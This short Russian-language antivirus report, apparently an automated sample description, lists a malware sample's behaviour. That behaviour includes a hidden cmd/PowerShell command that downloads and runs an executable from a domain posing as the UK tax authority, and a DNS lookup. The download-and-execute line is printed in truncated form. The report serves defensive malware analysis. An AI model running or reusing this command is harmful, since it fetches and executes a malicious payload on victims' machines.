Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- $url.tostring(
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C powershell $random = New-Object System.Random; Foreach($url in @({http://hmrc.gsigov.co.uk/vat.exe})) { try { $rnd = $random.Next(0, 65536); $path = '%tmp%\' + [string] $rnd + '.exe'; (New-O...
Сетевая активность
UDP
- DNS ASK hm##.#sigov.co.uk
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C powershell $random = New-Object System.Random; Foreach($url in @({http://hmrc.gsigov.co.uk/vat.exe})) { try { $rnd = $random.Next(0, 65536); $path = '%tmp%\' + [string] $rnd + '.exe'; (New-O...' (со скрытым окном)
